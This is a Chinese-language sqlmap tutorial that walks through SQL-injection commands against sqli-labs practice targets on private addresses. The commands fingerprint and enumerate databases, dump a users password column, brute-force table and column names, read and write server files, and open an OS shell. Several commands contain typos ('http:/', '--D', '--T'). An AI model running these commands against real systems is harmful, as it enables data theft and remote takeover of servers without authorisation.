SQLmap教程

SQLmap 是一款开源的自动化 SQL 注入工具,支持 Windows 和 Linux 系统。本文将介绍如何在 Kali Linux 下使用 SQLmap 进行 SQL 注入测试。

安装和基本命令

  • 查看SQLmap版本:
sqlmap --version
  • 查看SQLmap的帮助信息:
sqlmap -h
  • 查看SQLmap的高级帮助信息:
sqlmap -hh

连接数据库

  • 使用SQLmap连接数据库并查看数据库的banner信息:
sqlmap -d "mysql://root:[email protected]:3306/tiantianbao" -f --banner
  • 查看数据库用户:
sqlmap -d "mysql://root:[email protected]:3306/tiantianbao" -f --banner --users

针对URL进行探测

  • 使用*-u*参数对目标URL进行探测,查看连接数据库的banner信息:
sqlmap -u "192.168.137.129/sqli-labs/Less-1/index.php/?id=1" --banner

读取文件内目标

  • SQLmap支持从不同类型的文件中读取目标进行SQL注入探测。例如,从Burpsuite proxy导出的HTTP请求日志文件中读取目标:
sqlmap -l test(bp导出文件)
  • 从sitemap.xml站点地图文件中读取目标探测:
sqlmap -x sitemap.xml
  • 从多行文本格式文件中读取多个目标:
sqlmap -m test.txt
  • 从文本文件中读取HTTP请求作为SQL注入探测的目标:
sqlmap -r test.txt
  • 从配置文件sqlmap.conf中读取目标探测:
sqlmap -C sqlmap.conf

设置HTTP请求方法

  • 强制指定HTTP请求方法为GET:
sqlmap --method=get
  • 设置POST提交参数:
sqlmap -u '192.168.137.129/sqli-labs/Less-11/index.php' --data="uname=admin&passwd=admin&submit=Submit" -f --banner --dbs --users -f --fingerprint

获取数据库信息

  • 查看数据库:
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --dbs --batch
  • 查看数据库中的表:
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --tables --batch
  • 查看数据库表中的列:
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users --columns --batch
  • 查看数据库列中的具体值:
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users -C password --dump --batch

暴力破解

  • 暴力破解表名:

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" -D security --common-tables --batch

  • 暴力破解列名:
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"** -D security -T users --common-columns --batch

读取和写入文件

  • 读取文件:
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --file-read "C:/post.txt"
  • 写入文件:
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --file-write "/root/1.txt" --file-dest "C:/phpstudy/PHPTutorial/www/1.txt"

获取Shell

  • 获取操作系统的Shell:
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --os-shell